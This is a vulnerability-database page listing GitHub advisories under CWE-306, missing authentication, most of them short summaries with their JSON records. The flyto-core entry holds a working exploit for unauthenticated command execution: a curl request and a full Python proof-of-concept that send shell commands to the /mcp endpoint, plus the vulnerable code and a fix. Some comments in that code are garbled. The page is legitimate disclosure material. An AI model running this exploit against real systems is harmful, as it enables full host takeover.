Common Weakness Enumeration
CWE-306
AllowedMissing Authentication for Critical Function
Abstraction: Base · Status: Draft
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
3489 vulnerabilities reference this CWE, most recent first.
GHSA-H7W3-V34V-748V
Vulnerability from github – Published: 2026-06-09 18:31 – Updated: 2026-06-09 18:31
VLAI
Details
Protection mechanism failure in Windows BitLocker allows an unauthorized attacker to bypass a security feature with a physical attack.
Severity
6.8 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-50507"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-09T17:17:49Z",
"severity": "MODERATE"
},
"details": "Protection mechanism failure in Windows BitLocker allows an unauthorized attacker to bypass a security feature with a physical attack.",
"id": "GHSA-h7w3-v34v-748v",
"modified": "2026-06-09T18:31:01Z",
"published": "2026-06-09T18:31:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50507"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H82M-PVF6-9GJR
Vulnerability from github – Published: 2025-02-12 15:32 – Updated: 2025-02-12 15:32
VLAI
Details
A CWE-306 "Missing Authentication for Critical Function" in maxprofile/menu/routes.lua in Q-Free MaxTime less than or equal to version 2.11.0 allows an unauthenticated remote attacker to edit user permissions via crafted HTTP requests.
Severity
9.8 (Critical)
{
"affected": [],
"aliases": [
"CVE-2025-26347"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-12T14:15:34Z",
"severity": "CRITICAL"
},
"details": "A CWE-306 \"Missing Authentication for Critical Function\" in maxprofile/menu/routes.lua in Q-Free MaxTime less than or equal to version 2.11.0 allows an unauthenticated remote attacker to edit user permissions via crafted HTTP requests.",
"id": "GHSA-h82m-pvf6-9gjr",
"modified": "2025-02-12T15:32:00Z",
"published": "2025-02-12T15:32:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26347"
},
{
"type": "WEB",
"url": "https://www.nozominetworks.com/labs/vulnerability-advisories-cve-2025-26347"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H842-F758-5XGC
Vulnerability from github – Published: 2025-07-20 15:30 – Updated: 2025-07-20 15:30
VLAI
Details
A vulnerability was found in harry0703 MoneyPrinterTurbo up to 1.2.6 and classified as critical. Affected by this issue is the function verify_token of the file app/controllers/base.py of the component API Endpoint. The manipulation leads to missing authentication. The attack may be launched remotely.
Severity
{
"affected": [],
"aliases": [
"CVE-2025-7897"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-20T15:15:25Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in harry0703 MoneyPrinterTurbo up to 1.2.6 and classified as critical. Affected by this issue is the function verify_token of the file app/controllers/base.py of the component API Endpoint. The manipulation leads to missing authentication. The attack may be launched remotely.",
"id": "GHSA-h842-f758-5xgc",
"modified": "2025-07-20T15:30:28Z",
"published": "2025-07-20T15:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7897"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.317012"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.317012"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.609040"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-H86G-GVX6-H94G
Vulnerability from github – Published: 2025-09-29 21:30 – Updated: 2025-10-09 21:31
VLAI
Details
Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.1.102 and Application prior to version 25.1.1413 (VA/SaaS deployments) contain a server-side request forgery (SSRF) vulnerability. The /var/www/app/console_release/lexmark/update.php script is reachable from the internet without any authentication. The PHP script builds URLs from user‑controlled values and then invokes either 'curl_exec()orfile_get_contents()` without proper validation. Because the endpoint is unauthenticated, any remote attacker can supply a hostname and cause the server to issue requests to internal resources. This enables internal network reconnaissance, potential pivoting, or data exfiltration. This vulnerability has been confirmed to be remediated, but it is unclear as to when the patch was introduced.
Severity
{
"affected": [],
"aliases": [
"CVE-2025-34228"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-29T21:15:36Z",
"severity": "HIGH"
},
"details": "Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.1.102\u00a0and Application prior to version 25.1.1413\u00a0(VA/SaaS deployments) contain a server-side request forgery (SSRF) vulnerability. The `/var/www/app/console_release/lexmark/update.php` script is reachable from the internet without any authentication. The PHP script builds URLs from user\u2011controlled values and then invokes either \u0027curl_exec()` or `file_get_contents()` without proper validation.\u00a0Because the endpoint is unauthenticated, any remote attacker can supply a hostname and cause the server to issue requests to internal resources. This enables internal network reconnaissance, potential pivoting, or data exfiltration. This vulnerability has been confirmed to be remediated, but it is unclear as to when the patch was introduced.",
"id": "GHSA-h86g-gvx6-h94g",
"modified": "2025-10-09T21:31:10Z",
"published": "2025-09-29T21:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34228"
},
{
"type": "WEB",
"url": "https://help.printerlogic.com/saas/Print/Security/Security-Bulletins.htm"
},
{
"type": "WEB",
"url": "https://help.printerlogic.com/va/Print/Security/Security-Bulletins.htm"
},
{
"type": "WEB",
"url": "https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html#va-ssrf-04"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/vasion-print-printerlogic-ssrf-via-lexmark-update-php-script"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-H87J-F78F-M3FM
Vulnerability from github – Published: 2023-10-25 18:32 – Updated: 2024-09-25 12:30
VLAI
Details
Missing authentication in the SetDB method in IDAttend’s IDWeb application 3.1.052 and earlier allows denial of service or theft of database login credentials.
Severity
8.2 (High)
{
"affected": [],
"aliases": [
"CVE-2023-26573"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-25T18:17:25Z",
"severity": "CRITICAL"
},
"details": "Missing authentication in the SetDB method in IDAttend\u2019s IDWeb application 3.1.052 and earlier allows denial of service or theft of database login credentials. ",
"id": "GHSA-h87j-f78f-m3fm",
"modified": "2024-09-25T12:30:39Z",
"published": "2023-10-25T18:32:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26573"
},
{
"type": "WEB",
"url": "https://www.themissinglink.com.au/security-advisories/cve-2023-26573"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H88F-R7CW-8FV3
Vulnerability from github – Published: 2022-05-24 19:14 – Updated: 2024-09-11 19:50
VLAI
Summary
Missing Authentication for Critical Function in Apache Airflow
Details
The variable import endpoint was not protected by authentication in Airflow >=2.0.0, <2.1.3. This allowed unauthenticated users to hit that endpoint to add/modify Airflow variables used in DAGs, potentially resulting in a denial of service, information disclosure or remote code execution. This issue affects Apache Airflow >=2.0.0, <2.1.3.
Severity
9.8 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "apache-airflow"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-38540"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-21T20:11:22Z",
"nvd_published_at": "2021-09-09T15:15:00Z",
"severity": "CRITICAL"
},
"details": "The variable import endpoint was not protected by authentication in Airflow \u003e=2.0.0, \u003c2.1.3. This allowed unauthenticated users to hit that endpoint to add/modify Airflow variables used in DAGs, potentially resulting in a denial of service, information disclosure or remote code execution. This issue affects Apache Airflow \u003e=2.0.0, \u003c2.1.3.",
"id": "GHSA-h88f-r7cw-8fv3",
"modified": "2024-09-11T19:50:18Z",
"published": "2022-05-24T19:14:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38540"
},
{
"type": "WEB",
"url": "https://github.com/apache/airflow/commit/bcec1df703cd4a01520a90c3f801cca6f97d9bfd"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-h88f-r7cw-8fv3"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/airflow"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/apache-airflow/PYSEC-2021-326.yaml"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rac2ed9118f64733e47b4f1e82ddc8c8020774698f13328ca742b03a2@%3Cannounce.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rb34c3dd1a815456355217eef34060789f771b6f77c3a3dec77de2064%40%3Cusers.airflow.apache.org%3E"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Missing Authentication for Critical Function in Apache Airflow"
}
GHSA-H8CP-697H-8C8P
Vulnerability from github – Published: 2025-12-03 17:00 – Updated: 2025-12-03 17:00
VLAI
Summary
Step CA Has Authorization Bypass in ACME and SCEP Provisioners
Details
Summary
A security fix is now available for Step CA that resolves a vulnerability affecting deployments configured with ACME and/or SCEP provisioners.
All operators running these provisioners should upgrade to the latest release (v0.29.0) immediately.
The issue was discovered and disclosed by a research team during a security review. There is no evidence of active exploitation.
To limit exploitation risk during a coordinated disclosure window, we are withholding detailed technical information for now. A full write-up will be published in several weeks.
Embargo List
If your organization runs Step CA in production and would like advance, embargoed notification of future security updates, visit https://u.step.sm/disclosure to request inclusion on our embargo list.
Acknowledgements
This issue was identified and reported by Stephen Kubik of the Cisco Advanced Security Initiatives Group (ASIG)
Stay safe, and thank you for helping us keep the ecosystem secure.
Severity
10.0 (Critical)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.28.4"
},
"package": {
"ecosystem": "Go",
"name": "github.com/smallstep/certificates"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.29.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-44005"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-03T17:00:03Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\nA security fix is now available for Step CA that resolves a vulnerability affecting deployments configured with ACME and/or SCEP provisioners.\nAll operators running these provisioners should upgrade to the latest release (`v0.29.0`) immediately.\n\nThe issue was discovered and disclosed by a research team during a security review. There is no evidence of active exploitation.\n\nTo limit exploitation risk during a coordinated disclosure window, we are withholding detailed technical information for now. A full write-up will be published in several weeks.\n\n---\n\n## Embargo List\n\nIf your organization runs Step CA in production and would like advance, embargoed notification of future security updates, visit https://u.step.sm/disclosure to request inclusion on our embargo list.\n\n---\n\n## Acknowledgements\n\nThis issue was identified and reported by Stephen Kubik of the Cisco Advanced Security Initiatives Group (ASIG)\n\n---\n\nStay safe, and thank you for helping us keep the ecosystem secure.",
"id": "GHSA-h8cp-697h-8c8p",
"modified": "2025-12-03T17:00:03Z",
"published": "2025-12-03T17:00:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/smallstep/certificates/security/advisories/GHSA-h8cp-697h-8c8p"
},
{
"type": "WEB",
"url": "https://github.com/smallstep/certificates/commit/1011f5f5408b470a636f583bf74c0d7bbaf75d72"
},
{
"type": "PACKAGE",
"url": "https://github.com/smallstep/certificates"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Step CA Has Authorization Bypass in ACME and SCEP Provisioners"
}
GHSA-H99J-QMGW-6GGG
Vulnerability from github – Published: 2024-12-31 12:30 – Updated: 2025-01-06 18:31
VLAI
Details
In WhatsUp Gold versions released before 2024.0.2, an unauthenticated attacker can configure LDAP settings.
Severity
9.4 (Critical)
{
"affected": [],
"aliases": [
"CVE-2024-12106"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-31T11:15:06Z",
"severity": "CRITICAL"
},
"details": "In WhatsUp Gold versions released before 2024.0.2, an unauthenticated attacker can configure\u00a0LDAP settings.",
"id": "GHSA-h99j-qmgw-6ggg",
"modified": "2025-01-06T18:31:02Z",
"published": "2024-12-31T12:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12106"
},
{
"type": "WEB",
"url": "https://www.progress.com/network-monitoring"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-H9CV-6MCV-FFR4
Vulnerability from github – Published: 2024-07-19 15:31 – Updated: 2024-07-19 15:31
VLAI
Details
Insufficient authentication in user account management in Yugabyte Platform allows local network attackers with a compromised user session to change critical security information without re-authentication. An attacker with user session and access to application can modify settings such as password and email without being prompted for the current password, enabling account takeover.
Severity
{
"affected": [],
"aliases": [
"CVE-2024-6895"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-19T15:15:10Z",
"severity": "MODERATE"
},
"details": "Insufficient authentication in user account management in Yugabyte Platform allows local network attackers with a compromised user session to change critical security information without re-authentication. An attacker with user session and access to application can modify settings such as password and email without being prompted for the current password, enabling account takeover.",
"id": "GHSA-h9cv-6mcv-ffr4",
"modified": "2024-07-19T15:31:47Z",
"published": "2024-07-19T15:31:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6895"
},
{
"type": "WEB",
"url": "https://github.com/yugabyte/yugabyte-db/commit/9687371d8777f876285b737a9d01995bc46bafa5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:A/AC:H/AT:N/PR:H/UI:P/VC:H/VI:L/VA:L/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-H9F9-H6GM-WC85
Vulnerability from github – Published: 2026-07-06 17:41 – Updated: 2026-07-06 17:41
VLAI
Summary
flyto-core has Unauthenticated Command Execution via HTTP MCP `execute_module`
Details
Unauthenticated Command Execution via HTTP MCP execute_module
Summary
The HTTP MCP endpoint (POST /mcp) in flyto-core accepts unauthenticated JSON-RPC tools/call requests and dispatches them to arbitrary registered modules, including sandbox.execute_shell, which passes attacker-controlled input directly to asyncio.create_subprocess_shell. An unauthenticated attacker can execute arbitrary OS commands as the flyto-core server process. By default the server binds to 127.0.0.1, making this a High-severity local vulnerability (CVSS 8.4); if started with --host 0.0.0.0, it becomes remotely exploitable over the network. Dynamic reproduction confirmed command execution as root inside a Docker container without any Authorization header.
Details
flyto-core exposes an HTTP API via FastAPI. When the API is started (flyto serve), the MCP router is unconditionally mounted at /mcp (src/core/api/server.py:75-78). The route handler at src/core/api/routes/mcp.py:65-66 declares @router.post("") with no Depends(require_auth) dependency, unlike the analogous REST execution routes (src/core/api/routes/modules.py:93) which enforce both authentication and a module denylist.
The complete unauthenticated data flow from source to sink:
src/core/api/server.py:75-78—mcp_routeris mounted under/mcpunconditionally at app creation.src/core/api/routes/mcp.py:65-66—@router.post("")has noDepends(require_auth)guard; any HTTP client may POST to this route.src/core/api/routes/mcp.py:79— the full request body (attacker-controlled JSON) is parsed without validation.src/core/api/routes/mcp.py:103-104— each JSON-RPC item is forwarded tohandle_jsonrpc_requestwithout amodule_filter.src/core/mcp_handler.py:813-838—tools/callwith nameexecute_moduleforwards attacker-controlledmodule_idandparamstoexecute_module().src/core/mcp_handler.py:180,214-215— the module registry resolvesmodule_idand invokes it with attacker-suppliedparams.src/core/modules/registry/decorators.py:96-101— the function wrapper exposesself.paramsascontext['params'].src/core/modules/atomic/sandbox/execute_shell.py:137-139—commandis read directly fromparamswith no sanitization.src/core/modules/atomic/sandbox/execute_shell.py:163-169—commandreachesasyncio.create_subprocess_shellwithshell=Trueand no allowlist or escaping.
The sandbox.execute_shell module is not covered by the default denylist (_DEFAULT_DENYLIST = ["shell.*", "process.*"] at src/core/api/security.py:126), so even if module_filter were applied it would still be reachable.
Vulnerable code excerpts:
# src/core/api/routes/mcp.py:65-66 — missing auth
@router.post("")
async def mcp_post(request: Request):
# src/core/mcp_handler.py:832-838 — attacker-controlled dispatch
elif tool_name == "execute_module":
result = await execute_module(
module_id=arguments.get("module_id", ""),
params=arguments.get("params", {}),
context=arguments.get("context"),
browser_sessions=browser_sessions,
)
# src/core/modules/atomic/sandbox/execute_shell.py:137-169 — sink
params = context['params']
command = params.get('command', '')
# ... only empty-command and cwd existence checks ...
proc = await asyncio.create_subprocess_shell(command, ...)
Contrast with the protected REST route:
# src/core/api/routes/modules.py:93 — correctly guarded
@router.post("/execute", dependencies=[Depends(require_auth)])
The existence of authentication on the REST execution routes demonstrates that a security boundary was intended; the MCP route simply omits it.
PoC
Environment setup (Docker):
# Build the image (context: the report directory containing repo/ and vuln-001/)
docker build \
-f vuln-001/Dockerfile \
-t flyto-vuln-001 \
reports/mcp_57_flytohub__flyto-core/
# Start the server (binds 0.0.0.0:8333 inside the container)
docker run --rm -d \
-p 127.0.0.1:8333:8333 \
--name flyto-vuln-001-test \
flyto-vuln-001
Exploit (curl) — no Authorization header:
curl -sS http://127.0.0.1:8333/mcp \
-H 'Content-Type: application/json' \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "execute_module",
"arguments": {
"module_id": "sandbox.execute_shell",
"params": {"command": "id", "timeout": 5}
}
}
}'
Exploit (Python PoC script):
python3 vuln-001/poc.py \
--host 127.0.0.1 --port 8333 --command id
Observed response (dynamic reproduction, Phase 2):
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"structuredContent": {
"ok": true,
"data": {
"stdout": "uid=0(root) gid=0(root) groups=0(root)\n",
"stderr": "",
"exit_code": 0,
"execution_time_ms": 4.84
}
},
"isError": false
}
}
The uid=0(root) output confirms arbitrary OS command execution without any authentication. The HTTP response status was 200 OK.
Network-accessible variant:
If the operator starts flyto-core with --host 0.0.0.0 (as the Dockerfile does for demonstration), the same request is reachable from any network host, changing the attack vector from Local to Network.
Recommended remediation:
--- a/src/core/api/routes/mcp.py
+++ b/src/core/api/routes/mcp.py
-from fastapi import APIRouter, Request
+from fastapi import APIRouter, Depends, Request
from fastapi.responses import JSONResponse, Response
from core.mcp_handler import handle_jsonrpc_request
+from core.api.security import require_auth, module_filter
-@router.post("")
+@router.post("", dependencies=[Depends(require_auth)])
async def mcp_post(request: Request):
result = await handle_jsonrpc_request(item, browser_sessions)
+ result = await handle_jsonrpc_request(item, browser_sessions, module_filter=module_filter)
-@router.delete("")
+@router.delete("", dependencies=[Depends(require_auth)])
async def mcp_delete(request: Request):
--- a/src/core/api/security.py
+++ b/src/core/api/security.py
-_DEFAULT_DENYLIST = ["shell.*", "process.*"]
+_DEFAULT_DENYLIST = ["shell.*", "process.*", "sandbox.*"]
Impact
This is an unauthenticated OS command injection vulnerability. Any process that can reach the POST /mcp HTTP endpoint (locally by default, or remotely if the server is bound to a non-loopback interface) can execute arbitrary shell commands with the full privileges of the flyto-core server process. In the dynamic reproduction, the server ran as root, meaning full system compromise is possible.
Affected parties include:
- Developers and local users running
flyto serveon their workstations — any other local process (e.g., malicious code in a browser tab or another installed application) can pivot through the loopback interface. - Infrastructure operators who expose the API on a non-loopback interface (
--host 0.0.0.0) without network-level access controls — the attack surface becomes the entire network.
Potential consequences include arbitrary file read/write, credential exfiltration, lateral movement, and full host takeover.
Reproduction artifacts
Dockerfile
FROM python:3.12-slim
# lxml buildtext requiredtext whentext text
RUN apt-get update && apt-get install -y --no-install-recommends \
gcc g++ libxml2-dev libxslt1-dev \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
# local repo copy source (build context: mcp_57_flytohub__flyto-core/)
COPY repo/ /app/repo/
# flyto-core[api] install (fastapi + uvicorn contains)
RUN pip install --no-cache-dir "/app/repo[api]"
EXPOSE 8333
# container externalfrom accessibletext 0.0.0.0 binding
CMD ["python", "-c", "from core.api.server import main; main(host='0.0.0.0', port=8333)"]
poc.py
#!/usr/bin/env python3
"""
VULN-001 PoC: Unauthenticated Command Execution via HTTP MCP execute_module
Target: flyto-core 2.26.2
Route: POST /mcp (no auth dependency — mcp.py:65)
Sink: asyncio.create_subprocess_shell (execute_shell.py:163)
CWE: CWE-306 Missing Authentication for Critical Function
Usage:
python3 poc.py [--host 127.0.0.1] [--port 8333] [--command id]
"""
import sys
import time
import json
import argparse
import urllib.request
import urllib.error
def wait_for_server(base_url: str, max_wait: int = 45) -> bool:
"""servertext readytext until /health text."""
for i in range(max_wait):
try:
with urllib.request.urlopen(f"{base_url}/health", timeout=2) as resp:
if resp.status == 200:
print(f"[+] server is ready ({i}s textand)")
return True
except Exception:
pass
time.sleep(1)
if i % 5 == 4:
print(f"[*] wait in progress... ({i+1}s)")
return False
def send_exploit(base_url: str, command: str) -> dict:
"""without authentication POST /mcptext arbitrary command execute request."""
payload = {
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "execute_module",
"arguments": {
"module_id": "sandbox.execute_shell",
"params": {
"command": command,
"timeout": 10
}
}
}
}
data = json.dumps(payload).encode("utf-8")
req = urllib.request.Request(
f"{base_url}/mcp",
data=data,
headers={"Content-Type": "application/json"},
method="POST",
)
with urllib.request.urlopen(req, timeout=20) as resp:
body = resp.read().decode("utf-8")
return json.loads(body)
def main():
parser = argparse.ArgumentParser(description="VULN-001 PoC — flyto-core unauthenticated RCE via MCP")
parser.add_argument("--host", default="127.0.0.1")
parser.add_argument("--port", type=int, default=8333)
parser.add_argument("--command", default="id", help="OS command to execute (default: id)")
args = parser.parse_args()
base_url = f"http://{args.host}:{args.port}"
print("=" * 60)
print("VULN-001: Unauthenticated RCE via HTTP MCP execute_module")
print(f" Target : {base_url}/mcp")
print(f" Command : {args.command}")
print("=" * 60)
print()
# 1. wait for server readiness
print("[*] waiting for server startup in progress...")
if not wait_for_server(base_url):
print("[-] FAIL: servertext whenbetween within not respond not")
sys.exit(1)
# 2. without authentication exploit send request
print(f"\n[*] POST {base_url}/mcp — without an Authorization header send")
try:
result = send_exploit(base_url, args.command)
except urllib.error.HTTPError as e:
body = e.read().decode("utf-8", errors="replace")
print(f"[-] HTTP {e.code}: {body}")
print("[-] FAIL: servertext requesttext rejected (vulnerability none or text textdone)")
sys.exit(1)
except Exception as e:
print(f"[-] text error: {e}")
sys.exit(1)
# 3. response parse
print(f"\n[*] Raw JSON response:\n{json.dumps(result, indent=2, ensure_ascii=False)}\n")
# result.result.structuredContent.data.stdout
try:
structured = result["result"]["structuredContent"]
data = structured["data"]
stdout = data.get("stdout", "")
stderr = data.get("stderr", "")
exit_code = data.get("exit_code", -1)
except (KeyError, TypeError) as e:
print(f"[-] FAIL: expected response structure text — {e}")
print(f" result keys: {list(result.get('result', {}).keys())}")
sys.exit(1)
print(f"[*] exit_code = {exit_code}")
print(f"[*] stdout = {stdout!r}")
print(f"[*] stderr = {stderr!r}")
print()
# 4. success verdict: `id` command resulttext uid= contains whether
if "uid=" in stdout:
print("[+] ============================================================")
print("[+] PASS: without authentication text OS command execution check!")
print(f"[+] command output: {stdout.strip()}")
print("[+] ============================================================")
sys.exit(0)
else:
print("[-] FAIL: stdouttext 'uid=' none — commandtext executenot text outputtext different")
sys.exit(1)
if __name__ == "__main__":
main()
Severity
8.4 (High)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "flyto-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.26.2"
},
{
"fixed": "2.26.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55786"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-06T17:41:03Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Unauthenticated Command Execution via HTTP MCP `execute_module`\n\n### Summary\n\nThe HTTP MCP endpoint (`POST /mcp`) in flyto-core accepts unauthenticated JSON-RPC `tools/call` requests and dispatches them to arbitrary registered modules, including `sandbox.execute_shell`, which passes attacker-controlled input directly to `asyncio.create_subprocess_shell`. An unauthenticated attacker can execute arbitrary OS commands as the flyto-core server process. By default the server binds to `127.0.0.1`, making this a High-severity local vulnerability (CVSS 8.4); if started with `--host 0.0.0.0`, it becomes remotely exploitable over the network. Dynamic reproduction confirmed command execution as `root` inside a Docker container without any `Authorization` header.\n\n### Details\n\nflyto-core exposes an HTTP API via FastAPI. When the API is started (`flyto serve`), the MCP router is unconditionally mounted at `/mcp` (`src/core/api/server.py:75-78`). The route handler at `src/core/api/routes/mcp.py:65-66` declares `@router.post(\"\")` with **no** `Depends(require_auth)` dependency, unlike the analogous REST execution routes (`src/core/api/routes/modules.py:93`) which enforce both authentication and a module denylist.\n\nThe complete unauthenticated data flow from source to sink:\n\n1. **`src/core/api/server.py:75-78`** \u2014 `mcp_router` is mounted under `/mcp` unconditionally at app creation.\n2. **`src/core/api/routes/mcp.py:65-66`** \u2014 `@router.post(\"\")` has no `Depends(require_auth)` guard; any HTTP client may POST to this route.\n3. **`src/core/api/routes/mcp.py:79`** \u2014 the full request body (attacker-controlled JSON) is parsed without validation.\n4. **`src/core/api/routes/mcp.py:103-104`** \u2014 each JSON-RPC item is forwarded to `handle_jsonrpc_request` without a `module_filter`.\n5. **`src/core/mcp_handler.py:813-838`** \u2014 `tools/call` with name `execute_module` forwards attacker-controlled `module_id` and `params` to `execute_module()`.\n6. **`src/core/mcp_handler.py:180`, `214-215`** \u2014 the module registry resolves `module_id` and invokes it with attacker-supplied `params`.\n7. **`src/core/modules/registry/decorators.py:96-101`** \u2014 the function wrapper exposes `self.params` as `context[\u0027params\u0027]`.\n8. **`src/core/modules/atomic/sandbox/execute_shell.py:137-139`** \u2014 `command` is read directly from `params` with no sanitization.\n9. **`src/core/modules/atomic/sandbox/execute_shell.py:163-169`** \u2014 `command` reaches `asyncio.create_subprocess_shell` with `shell=True` and no allowlist or escaping.\n\nThe `sandbox.execute_shell` module is not covered by the default denylist (`_DEFAULT_DENYLIST = [\"shell.*\", \"process.*\"]` at `src/core/api/security.py:126`), so even if `module_filter` were applied it would still be reachable.\n\n**Vulnerable code excerpts:**\n\n```python\n# src/core/api/routes/mcp.py:65-66 \u2014 missing auth\n@router.post(\"\")\nasync def mcp_post(request: Request):\n```\n\n```python\n# src/core/mcp_handler.py:832-838 \u2014 attacker-controlled dispatch\nelif tool_name == \"execute_module\":\n result = await execute_module(\n module_id=arguments.get(\"module_id\", \"\"),\n params=arguments.get(\"params\", {}),\n context=arguments.get(\"context\"),\n browser_sessions=browser_sessions,\n )\n```\n\n```python\n# src/core/modules/atomic/sandbox/execute_shell.py:137-169 \u2014 sink\nparams = context[\u0027params\u0027]\ncommand = params.get(\u0027command\u0027, \u0027\u0027)\n# ... only empty-command and cwd existence checks ...\nproc = await asyncio.create_subprocess_shell(command, ...)\n```\n\n**Contrast with the protected REST route:**\n\n```python\n# src/core/api/routes/modules.py:93 \u2014 correctly guarded\n@router.post(\"/execute\", 